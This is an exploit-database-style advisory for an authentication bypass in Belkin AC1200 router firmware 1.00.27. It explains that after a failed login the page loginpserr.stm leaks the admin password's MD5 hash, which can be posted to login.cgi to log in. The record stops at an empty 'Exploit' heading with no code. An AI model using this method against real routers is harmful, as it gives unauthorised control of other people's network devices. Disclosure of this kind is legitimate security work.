Belkin AC1200 Router Firmware 1.00.27 - Authentication Bypass

'''
# Exploit Title: Belkin Router AC1200, Firmware: 1.00.27 - Authentication Bypass
# Date: 5/11/2016
# Exploit Author: Gregory Smiley
# Contact: [email protected]
# Vendor Homepage: http://www.belkin.com
# Version: Firmware: 1.00.27
# Tested on:F9K1113 v1


#1. Description:

#The Belkin AC1200 is vulnerable to authentication bypass due to it performing client side
#authentication after you attempt to login after already having failed a login. That webpage, loginpserr.stm contains the md5 hash value of the administrators password. This can be
#exploited by extracting that hash value, and passing it in the pws field in a post request to
#login.cgi.

#I would like to note that I contacted Belkin on several occasions
#and gave them plenty of time to reply/fix the issue before releasing this entry.



#2. Proof:

#Line 55 of loginpserr.stm contains the javascript code:

#var password = "md5hashofpassword";


#3. Exploit:
